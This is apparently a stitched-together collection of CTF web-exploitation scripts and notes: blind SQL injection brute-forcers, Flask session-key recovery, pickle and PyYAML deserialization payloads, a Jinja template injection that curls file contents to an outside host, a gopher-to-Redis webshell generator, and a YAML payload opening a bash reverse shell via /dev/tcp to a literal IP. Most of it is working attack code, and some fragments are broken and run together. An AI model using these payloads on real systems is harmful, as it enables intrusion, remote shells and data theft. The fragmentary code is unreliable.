import requests
import time


def print_banner():
    banner = """
███████╗ ██████╗ ██╗         ██╗███╗   ██╗██╗   ██╗██████╗ 
██╔════╝██╔═══██╗██║         ██║████╗  ██║██║   ██║██╔══██╗
███████╗██║   ██║██║         ██║██╔██╗ ██║██║   ██║██║  ██║
╚════██║██║   ██║██║         ██║██║╚██╗██║██║   ██║██║  ██║
███████║╚██████╔╝███████╗    ██║██║ ╚████║╚██████╔╝██████╔╝
╚══════╝ ╚═════╝ ╚══════╝    ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═════╝ 

                      Author: deepseek
    """
    print(banner)


def blind_sql_injection_standard():
    # 目标URL
    url = "http://node4.anna.nssctf.cn:28038/"

    # 存储结果
    flag = ""

    # 成功响应的标识
    success_indicator = "Hello, glzjin wants a girlfriend"

    print("🚀 开始布尔盲注（标准版-POST）")
    print("📌 目标URL:", url)
    print("🎯 成功标识:", success_indicator)
    print("⏳ 遇到 '}' 字符自动结束")
    print("-" * 50)

    position = 1
    max_length = 100  # 设置最大长度防止无限循环
    start_time = time.time()

    while position <= max_length:
        found_char = False

        # 遍历ASCII可打印字符
        for ascii_val in range(32, 127):
            # 构造payload，不使用空格
            payload = f"if(ascii(mid((select(flag)from(flag)),{position},1))={ascii_val},1,0)"
            data = {"id": payload}

            try:
                response = requests.post(url, data=data, timeout=5)
                if success_indicator in response.text:
                    char = chr(ascii_val)
                    flag += char
                    print(f"✅ 位置 {position:2d}: {char} \t→ 当前进度: {flag}")
                    found_char = True

                    # 如果遇到 } 就结束
                    if char == '}':
                        end_time = time.time()
                        print("-" * 50)
                        print("🎉 检测到结束符 '}'，爆破完成！")
                        print(f"⏱️  总耗时: {end_time - start_time:.2f}秒")
                        print(f"🏁 最终flag: {flag}")
                        return

                    break
            except Exception as e:
                print(f"❌ 请求出错: {e}")
                time.sleep(1)

        if not found_char:
            print(f"💔 位置 {position}: 未找到匹配字符，可能已结束")
            break

        position += 1
        time.sleep(0.1)  # 稍微延迟，避免请求过快

    end_time = time.time()
    print("-" * 50)
    print(f"⏱️  总耗时: {end_time - start_time:.2f}秒")
    print(f"🏁 最终结果: {flag}")


def blind_sql_injection_binary():
    # 目标URL
    url = "http://node4.anna.nssctf.cn:28038/"

    # 存储结果
    flag = ""

    # 成功响应的标识
    success_indicator = "Hello, glzjin wants a girlfriend"

    print("🚀 开始布尔盲注（二分法优化版-POST）")
    print("📌 目标URL:", url)
    print("🎯 成功标识:", success_indicator)
    print("⚡ 使用二分查找法，效率更高")
    print("⏳ 遇到 '}' 字符自动结束")
    print("-" * 50)

    position = 1
    max_length = 100
    start_time = time.time()
    request_count = 0

    while position <= max_length:
        low, high = 32, 126  # ASCII可打印字符范围
        found_char = None

        while low <= high:
            mid = (low + high) // 2
            request_count += 1

            # 判断当前字符的ASCII码是否大于mid
            payload = f"if(ascii(mid((select(flag)from(flag)),{position},1))>{mid},1,0)"
            data = {"id": payload}

            try:
                response = requests.post(url, data=data, timeout=5)
                if success_indicator in response.text:
                    low = mid + 1
                else:
                    # 检查是否等于mid
                    payload_eq = f"if(ascii(mid((select(flag)from(flag)),{position},1))={mid},1,0)"
                    data_eq = {"id": payload_eq}
                    response_eq = requests.post(url, data=data_eq, timeout=5)
                    request_count += 1

                    if success_indicator in response_eq.text:
                        found_char = chr(mid)
                        break
                    else:
                        high = mid - 1
            except Exception as e:
                print(f"❌ 请求出错: {e}")
                time.sleep(1)

        if found_char:
            flag += found_char
            print(f"✅ 位置 {position:2d}: {found_char} \t→ 当前进度: {flag}")

            # 如果遇到 } 就结束
            if found_char == '}':
                end_time = time.time()
                print("-" * 50)
                print("🎉 检测到结束符 '}'，爆破完成！")
                print(f"⏱️  总耗时: {end_time - start_time:.2f}秒")
                print(f"📊 总请求数: {request_count}")
                print(f"🏁 最终flag: {flag}")
                return
        else:
            print(f"💔 位置 {position}: 未找到匹配字符，可能已结束")
            break

        position += 1
        time.sleep(0.05)  # 稍微延迟

    end_time = time.time()
    print("-" * 50)
    print(f"⏱️  总耗时: {end_time - start_time:.2f}秒")
    print(f"📊 总请求数: {request_count}")
    print(f"🏁 最终结果: {flag}")


if __name__ == "__main__":
    print_banner()

    print("\n请选择注入方式:")
    print("1. 标准版（稳定可靠）")
    print("2. 二分法优化版（高效快速）")

    try:
        choice = input("请输入选择 (1 或 2): ").strip()

        if choice == "1":
            print("\n" + "=" * 60)
            blind_sql_injection_standard()
        elif choice == "2":
            print("\n" + "=" * 60)
            blind_sql_injection_binary()
        else:
            print("❌ 无效选择，默认使用标准版")
            print("\n" + "=" * 60)
            blind_sql_injection_standard()

    except KeyboardInterrupt:
        print("\n\n⏹️  用户中断执行")
    except Exception as e:
        print(f"\n\n❌ 程序执行出错: {e}")

   if(secret==None):

       return 'Tell me your secret.I will encrypt it so others can\'t see'

   rc=rc4_Modified.RC4("HereIsTreasure")   #解密

   deS=rc.do_crypt(secret)

[Open an interactive python shell in this frame]  

   a=render_template_string(safe(deS))



   if 'ciscn' in a.lower():

       return 'flag detected!'

   return a

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

cat /sys/class/net/*/address
cat /sys/class/net/eth0/address
cat /sys/class/net/ens33/address  
cat /sys/class/net/wlan0/address

import random

random.seed(2485376933074)
randStr = str(random.random() * 233)
print(randStr)

import requests
import sys


def scan_page():
    """
    扫描page参数，当找到/static/img/lv/lv6.png时停止并输出page号码
    """
    base_url = "http://node4.anna.nssctf.cn:28680/shop"
    headers = {
        "Host": "node4.anna.nssctf.cn:28680",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Referer": "http://node4.anna.nssctf.cn:28680/shop",
        "Cookie": "Hm_lvt_648a44a949074de73151ffaa0a832aec=1756556227; PHPSESSID=e23da8a7786f1c74b1e5b89ecf862f47; session=eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.aO2-FA.Ky5oczk5sinlz8Oa68bLCZ9MxFk; _xsrf=2|247f420f|09033d18917e94094c3a0d7ab155dcd4|1760412041; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inp6eiJ9.c3uggHU4S6rDQcjD7TS3-E7sw9ohmj4zL24GRpg6CPQ",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    target_string = "/static/img/lv/lv6.png"

    print("开始扫描page参数...")
    print(f"目标字符串: {target_string}")
    print("-" * 50)

    # 从第1页开始扫描，可以调整范围
    for page in range(1, 1000):  # 假设最大扫描到999页
        try:
            params = {"page": page}
            response = requests.get(base_url, params=params, headers=headers, timeout=10)

            print(f"正在扫描 page={page}, 状态码: {response.status_code}", end="")

            if response.status_code == 200:
                if target_string in response.text:
                    print(f" ✓ 找到目标!")
                    print("-" * 50)
                    print(f"成功找到目标字符串!")
                    print(f"目标出现在 page = {page}")
                    print(f"URL: {response.url}")
                    return page
                else:
                    print(" - 未找到目标")
            else:
                print(f" - HTTP错误: {response.status_code}")

        except requests.exceptions.RequestException as e:
            print(f"page={page} 请求失败: {e}")
            continue

        # 添加延迟避免请求过快
        # time.sleep(0.1)

    print("在指定范围内未找到目标字符串")
    return None


def main():
    try:
        result = scan_page()
        if result:
            print(f"\n扫描完成! 目标字符串出现在 page {result}")
        else:
            print("\n扫描完成! 未找到目标字符串")
    except KeyboardInterrupt:
        print("\n用户中断扫描")
        sys.exit(1)


if __name__ == "__main__":
    main()

import pickle
import urllib

class A(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))
class A(object):
    def __reduce__(self):
        return (eval,("""__import__('os').popen('ls /').read()""",))

a = A()
b = pickle.dumps(a)

print(urllib.quote(b))

os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

    try:
        process = subprocess.run(
            command,
            shell=True,
            check=True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
    data = flask.request.json
    ip_base64 = data.get('ip_base64')
    if not ip_base64:
        return flask.jsonify({'error': 'no ip'}), 400

    result = run_ping(ip_base64)
    if result:
        return flask.jsonify({'success': True, 'output': result}), 200
    else:
        return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
    return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

import base64

a = base64.b64encode(b"1.1.1.1").decode("utf-8") # MS4xLjEuMQ==
b = base64.b64encode(b"857857").decode("utf-8") # ODU3ODU3
c = base64.b64decode("MS4xLjEuMQ==ODU3ODU3").decode("utf-8")

print(a)
print(b)

print(c) # 只解码返回 1.1.1.1

import requests
import base64
import sys


def fetch_and_decode(url, output_file):
    """
    从URL获取Base64编码的数据，解码后保存到文件
    """
    try:
        print(f"[*] 正在从 {url} 获取数据...")

        # 发送HTTP请求
        response = requests.get(url, timeout=30)
        response.raise_for_status()  # 检查请求是否成功

        # 获取Base64编码的内容
        encoded_content = response.text.strip()

        # Base64解码
        print(f"[*] 正在解码数据，长度: {len(encoded_content)}")
        decoded_content = base64.b64decode(encoded_content)

        # 保存到文件
        with open(output_file, 'wb') as f:
            f.write(decoded_content)

        print(f"[✓] 成功保存到 {output_file}, 大小: {len(decoded_content)} 字节")
        return True

    except requests.exceptions.RequestException as e:
        print(f"[✗] 网络请求失败: {e}")
        return False
    except base64.binascii.Error as e:
        print(f"[✗] Base64解码失败: {e}")
        return False
    except Exception as e:
        print(f"[✗] 错误: {e}")
        return False


# 主程序
if __name__ == "__main__":
    # 目标URL
    base_url = "http://dbf62640-ffa7-4303-adf4-e266a102c493.node5.buuoj.cn:81/index.php?shell="

    # 获取maps文件
    maps_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/proc/self/maps');foreach($context as $f){{echo($f);}}"
    maps_url = base_url + requests.utils.quote(maps_payload)
    fetch_and_decode(maps_url, "maps")

    print("\n" + "=" * 50 + "\n")

    # 获取libc文件
    libc_payload = "?><?php $context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');foreach($context as $f){{echo($f);}}"
    libc_url = base_url + requests.utils.quote(libc_payload)
    fetch_and_decode(libc_url, "libc-2.31.so")

def failure(msg):
    print(f"[-] ERROR: {msg}")
    exit(1)

maps_path = './maps'
cmd = 'echo 123 > /tmp/1.txt'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc-2.23.so'
if not os.path.exists(libc_path):
    exit("[-]no libc file")

import requests
from hashlib import md5
import time
target = "http://node5.buuoj.cn:27231/check.php"
 
headers = {
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}
 
 
body = {
    "score": "10000000",
    "checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
    "tm": str((time.time()))[:10]
}
 
 
res = requests.post(target, headers=headers, data=body)
print(res.text)

{%
if
()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(219)|attr("__init__")|attr("__globals__")|attr("__getitem__")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%
endif
%}

import urllib
protocol="gopher://"
ip="173.13.144.12"      // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
                cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd

if __name__=="__main__":
        for x in cmd:
                payload += urllib.quote(redis_format(x))
        print payload

from flask import *
import config
 
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
 
app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')

@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说：当你看到这句话时，还没有拿到flag，那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说：你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说：'+str(e))
    else:
 
        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
  args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
  kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

yaml.full_load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "_＿𝒾𝓂𝓅ℴ𝓇𝓉_＿('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('whoami')"

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "_＿𝒾𝓂𝓅ℴ𝓇𝓉_＿('o''s').𝓈𝓎𝓈𝓉ℯ𝓂('bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"')"

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

import base64
import os
import pickle
class A():

    def __reduce__(self):
        return os.system,("whoami",)

a = A()
a=pickle.dumps(a)
a=base64.b64encode(a).decode()
print(a)

b = base64.b64decode(a)

pickle.loads(b)

import base64
import pickle
import subprocess


class A():
    def __reduce__(self):
        return subprocess.check_output,(["cp","/flag","/app/app.py"],)
# return subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True}
# 这里 -c 表示附加到文件后，而不是覆盖。
a = A()
a=pickle.dumps(a)


a=base64.b64encode(a).decode()
print(a)

p1= b'''cbuiltins
getattr
p0
c__main__
index
p3
g0
(g3
S'__code__'
tRp4
I0
p5
I0
p6
I0
p7
I0
p8
I5
p9
I67
p10
c_codecs
encode
p33
g33
(Vt\x00d\x01d\x02d\x03d\x04\x8d\x03\xa0\x01\xa1\x00S\x00
S'latin-1'
tRp11
(NS'/etc/passwd'
S'r'
S'utf-8'
(S'encoding'
ttp12
(S'open'
S'read'
tp13
)p14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
I7
p17
g0
(g4
S'co_lnotab'
tRp18
)p19
)p20
ctypes
CodeType
(g5
g6
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''

import base64
encrypted_p1 = base64.b64encode(p1)
print(encrypted_p1)